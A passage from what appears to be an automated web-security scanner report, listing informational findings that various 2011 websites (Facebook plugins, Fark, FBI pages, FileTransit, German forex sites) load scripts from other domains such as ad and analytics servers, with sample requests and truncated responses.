Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; datr=8CJHTYhjyotVYfKpZ5B35lnF

Response

21.234. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The response dynamically includes the following script from another domain:

http://static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.235. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

HTTP/1.1 404 Not Found
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sat, 05 Feb 2011 22:38:38 GMT
Content-Length: 10590

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
<link type="text/css" rel="stylesheet" href="http://f.static.ak.fbcdn.net/rsrc.php/yX/r/8v6XwwC31BN.css" />

<script type="text/javascript" src="http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js"></script>
...[SNIP]...

21.236. http://www.facebook.com/pointeresortsaz previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pointeresortsaz

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.237. http://www.facebook.com/uschi.eller previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/uschi.eller

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.238. http://www.facebook.com/vibrantmedia previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/vibrantmedia

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.239. http://www.fark.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fark.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://edge.quantserve.com/quant.js
http://partner.googleadservices.com/gampad/google_service.js
http://static.fmpub.net/site/fark

Request

GET / HTTP/1.1
Host: www.fark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 23:01:54 GMT
Content-Type: text/html
Connection: close
Vary: Accept-Encoding
Expires: Sat, 05 Feb 2011 23:01:53 GMT
Cache-Control: no-cache
Content-Length: 185140

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
<head><title>Drew Curtis' FARK.com</title> <meta http-equiv="Content-Type" content="te
...[SNIP]...
<![endif]--> <script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js">
</script>
...[SNIP]...
</script> <script type='text/javascript' src='http://static.fmpub.net/site/fark'></script>
...[SNIP]...
 <script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...
</script> <script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

21.240. http://www.fbi.gov/about-us/investigate/cyber/cyber previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fbi.gov
Path:	/about-us/investigate/cyber/cyber

Issue detail

The response dynamically includes the following script from another domain:

https://www.google.com/jsapi

Request

GET /about-us/investigate/cyber/cyber HTTP/1.1
Host: www.fbi.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=900
Content-Length: 37989
Content-Language: en-us
Content-Type: text/html;charset=utf-8
Server: HTML
Date: Sat, 05 Feb 2011 22:03:23 GMT
Expires: Sat, 05 Feb 2011 22:18:23 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<link rel="stylesheet" href="cse.css" type="text/css" /><script type="text/javascript" src="https://www.google.com/jsapi"></script>
...[SNIP]...

21.241. http://www.fbi.gov/nipc/welcome.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fbi.gov
Path:	/nipc/welcome.htm

Issue detail

The response dynamically includes the following script from another domain:

https://www.google.com/jsapi

Request

GET /nipc/welcome.htm HTTP/1.1
Host: www.fbi.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.242. http://www.filetransit.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.filetransit.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET / HTTP/1.1
Host: www.filetransit.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=b798f2d79978526c7191b6da15321c67;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:03:34 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 54007

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<title>FileTransit - Software Downloads, News, Reviews and More!</title>
<meta http-equiv="Content-Type" content="t
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.243. http://www.filetransit.com/alphaindex.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.filetransit.com
Path:	/alphaindex.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /alphaindex.php HTTP/1.1
Host: www.filetransit.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=b798f2d79978526c7191b6da15321c67;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:03:50 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 54185

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<title>FileTransit - Software Index (A/1) - A Beautiful Feeling Screensaver, A Beautiful Sunset Screensaver, A Better
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.244. http://www.filetransit.com/demo.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.filetransit.com
Path:	/demo.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

Response

21.245. http://www.filetransit.com/download.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.filetransit.com
Path:	/download.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

Response

21.246. http://www.filetransit.com/files.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.filetransit.com
Path:	/files.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

Response

21.247. http://www.filetransit.com/freeware.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.filetransit.com
Path:	/freeware.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /freeware.php HTTP/1.1
Host: www.filetransit.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=b798f2d79978526c7191b6da15321c67;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:04:03 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 56137

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<title>Search Freeware - Winamp, AntiKournikova, NewzTop ...</title>
<meta http-equiv="Content-Type" content="text/
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.248. http://www.filetransit.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.filetransit.com
Path:	/index.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /index.php HTTP/1.1
Host: www.filetransit.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=b798f2d79978526c7191b6da15321c67;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:03:43 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 55350

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<title>FileTransit - Software Downloads, News, Reviews and More!</title>
<meta http-equiv="Content-Type" content="t
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.249. http://www.filetransit.com/screenshot.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.filetransit.com
Path:	/screenshot.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

Response

21.250. http://www.filetransit.com/view.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.filetransit.com
Path:	/view.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

Response

21.251. http://www.fitness-gesundheit.biz/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fitness-gesundheit.biz
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET / HTTP/1.1
Host: www.fitness-gesundheit.biz
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:12 GMT
Server: Apache/2.2.16
X-Powered-By: PHP/5.2.13
X-Pingback: http://www.fitness-gesundheit.biz/xmlrpc.php
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 32686

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="de-DE">

<head prof
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.252. http://www.fitness-gesundheit.biz/die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fitness-gesundheit.biz
Path:	/die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/ HTTP/1.1
Host: www.fitness-gesundheit.biz
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:12 GMT
Server: Apache/2.2.16
X-Powered-By: PHP/5.2.13
X-Pingback: http://www.fitness-gesundheit.biz/xmlrpc.php
Link: <http://www.fitness-gesundheit.biz/?p=85>; rel=shortlink
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 20313

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="de-DE">

<head prof
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.253. http://www.folkd.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.folkd.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET / HTTP/1.1
Host: www.folkd.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:00 GMT
Server: Apache/2.2.14 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny4
Set-Cookie: PHPSESSID=a309b2b77d6ece816c352f933ed2e502; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 36766

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="content-
...[SNIP]...
</script>
<script language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

<script
   src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"
   language="javascript"
   type="text/javascript">
</script>
...[SNIP]...

21.254. http://www.forex-direkt.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.forex-direkt.de
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://eas.statcamp.net/EAS_tag.1.0.js
http://eas.statcamp.net/eas?camp=31618;cre=mu;js=y;target=_blank;ord=[timestamp];EASClick=
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://widgets.etoro.com/calendar/CalendarJS.aspx?v=2
http://widgets.etoro.com/championship/ChampJS.aspx?v=2

Request

GET / HTTP/1.1
Host: www.forex-direkt.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:02 GMT
Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.12
X-Pingback: http://www.forex-direkt.de/xmlrpc.php
Set-Cookie: WPS_return_count=1; expires=Mon, 06-Feb-2012 16:07:03 GMT; path=/
Set-Cookie: WPS_date=20110206; expires=Mon, 07-Feb-2011 16:07:03 GMT
Set-Cookie: WPS_display_count=0; expires=Mon, 07-Feb-2011 16:07:03 GMT; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 57449

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="de-DE">

<head p
...[SNIP]...
</script>
<script type="text/javascript" src="http://widgets.etoro.com/championship/ChampJS.aspx?v=2"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://widgets.etoro.com/calendar/CalendarJS.aspx?v=2"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<td><script src='http://eas.statcamp.net/EAS_tag.1.0.js'></script>
<script type="text/javascript" language="JavaScript" src="http://eas.statcamp.net/eas?camp=31618;cre=mu;js=y;target=_blank;ord=[timestamp];EASClick="></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.255. http://www.forex-direkt.de/wp-content/pagepeel/pageear_b.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.forex-direkt.de
Path:	/wp-content/pagepeel/pageear_b.jpg

Issue detail

The response dynamically includes the following scripts from other domains:

http://eas.statcamp.net/EAS_tag.1.0.js
http://eas.statcamp.net/eas?camp=31618;cre=mu;js=y;target=_blank;ord=[timestamp];EASClick=
http://linkhelp.clients.google.com/tbproxy/lh/wm/fixurl.js
http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /wp-content/pagepeel/pageear_b.jpg HTTP/1.1
Host: www.forex-direkt.de
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/wp-content/pagepeel/pageear_b.swf?pagearSmallImg=http%3A//www.forex-direkt.de/wp-content/pagepeel/pageear_s.jpg&pagearBigImg=http%3A//www.forex-direkt.de/wp-content/pagepeel/pageear_b.jpg&pageearColor=ffffff&jumpTo=http%3A//www.forex-trading-forum.de/&openLink=new&mirror=true&copyright=Webpicasso%20Media%2C%20www.webpicasso.de&speedSmall=1&openOnLoad=false&closeOnLoad=3&setDirection=lt&softFadeIn=false&playSound=false&playOpenSound=false&playCloseSound=false&closeOnClick=false&closeOnClickText=Close&lcKey=0.7123673802707344&bigWidth=500&thumbWidth=100
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPS_date=20110206; WPS_display_count=0; WPS_return_count=2

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:25:48 GMT
Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.12
X-Pingback: http://www.forex-direkt.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: WPS_return_count=3; expires=Mon, 06-Feb-2012 16:25:48 GMT; path=/
Last-Modified: Sun, 06 Feb 2011 16:25:48 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 30528

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="de-DE">

<head p
...[SNIP]...
</script>
<script type="text/javascript"
src="http://linkhelp.clients.google.com/tbproxy/lh/wm/fixurl.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<td><script src='http://eas.statcamp.net/EAS_tag.1.0.js'></script>
<script type="text/javascript" language="JavaScript" src="http://eas.statcamp.net/eas?camp=31618;cre=mu;js=y;target=_blank;ord=[timestamp];EASClick="></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.256. http://www.forex-direkt.de/wp-content/pagepeel/pageear_s.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.forex-direkt.de
Path:	/wp-content/pagepeel/pageear_s.jpg

Issue detail

The response dynamically includes the following scripts from other domains:

http://eas.statcamp.net/EAS_tag.1.0.js
http://eas.statcamp.net/eas?camp=31618;cre=mu;js=y;target=_blank;ord=[timestamp];EASClick=
http://linkhelp.clients.google.com/tbproxy/lh/wm/fixurl.js
http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /wp-content/pagepeel/pageear_s.jpg HTTP/1.1
Host: www.forex-direkt.de
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/wp-content/pagepeel/pageear_s.swf?pagearSmallImg=http%3A//www.forex-direkt.de/wp-content/pagepeel/pageear_s.jpg&pagearBigImg=http%3A//www.forex-direkt.de/wp-content/pagepeel/pageear_b.jpg&pageearColor=ffffff&jumpTo=http%3A//www.forex-trading-forum.de/&openLink=new&mirror=true&copyright=Webpicasso%20Media%2C%20www.webpicasso.de&speedSmall=1&openOnLoad=false&closeOnLoad=3&setDirection=lt&softFadeIn=false&playSound=false&playOpenSound=false&playCloseSound=false&closeOnClick=false&closeOnClickText=Close&lcKey=0.7123673802707344&bigWidth=500&thumbWidth=100
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPS_date=20110206; WPS_display_count=0; WPS_return_count=2

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:25:49 GMT
Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/4.4.9 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.12
X-Pingback: http://www.forex-direkt.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: WPS_return_count=3; expires=Mon, 06-Feb-2012 16:25:50 GMT; path=/
Last-Modified: Sun, 06 Feb 2011 16:25:50 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 30528

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="de-DE">

<head p
...[SNIP]...
</script>
<script type="text/javascript"
src="http://linkhelp.clients.google.com/tbproxy/lh/wm/fixurl.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<td><script src='http://eas.statcamp.net/EAS_tag.1.0.js'></script>
<script type="text/javascript" language="JavaScript" src="http://eas.statcamp.net/eas?camp=31618;cre=mu;js=y;target=_blank;ord=[timestamp];EASClick="></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.257. http://www.forexyard.com/css/quotes-chart.cssbdb85 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.forexyard.com
Path:	/css/quotes-chart.cssbdb85

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js
http://connect.facebook.net/en_US/all.js
http://www.google-analytics.com/urchin.js
http://www.google.com/jsapi

Request

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:27:27 GMT
Server: Apache
X-Powered-By: PHP/5.3.2-1ubuntu4.5
Set-Cookie: FXYSC=tiai6955mmolrp08t0ipccep81; path=/; domain=.forexyard.com
Set-Cookie: ts=1297010094-247956002; expires=Mon, 06-Feb-2012 16:34:54 GMT; path=/
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Accept-Ranges: bytes
Cache-Control: no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: Keep-Alive
Content-Length: 17353

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-
...[SNIP]...
</script>

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="http://www.google.com/jsapi"></script>
...[SNIP]...
</map>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...
</div>
<script type="text/javascript" src="http://connect.facebook.net/en_US/all.js"></script>
...[SNIP]...

21.258. http://www.freedownloadscenter.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.freedownloadscenter.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET / HTTP/1.1
Host: www.freedownloadscenter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=118730462.1296942490.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=118730462.1479561773.1296942490.1296942490.1296942490.1; __utmc=118730462; __utmb=118730462.1.10.1296942490;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Date: Sat, 05 Feb 2011 22:05:32 GMT
Content-Type: text/html
Connection: close
Accept-Ranges: bytes
Keep-Alive: timeout=15, max=500
Content-Length: 27742

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html>
<head>
<title>Free Downloads Center - software and free game downloads</title
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.259. http://www.freedownloadscenter.com/terms/html-tracert-nslookup/nslookup.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.freedownloadscenter.com
Path:	/terms/html-tracert-nslookup/nslookup.html

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /terms/html-tracert-nslookup/nslookup.html HTTP/1.1
Host: www.freedownloadscenter.com
Proxy-Connection: keep-alive
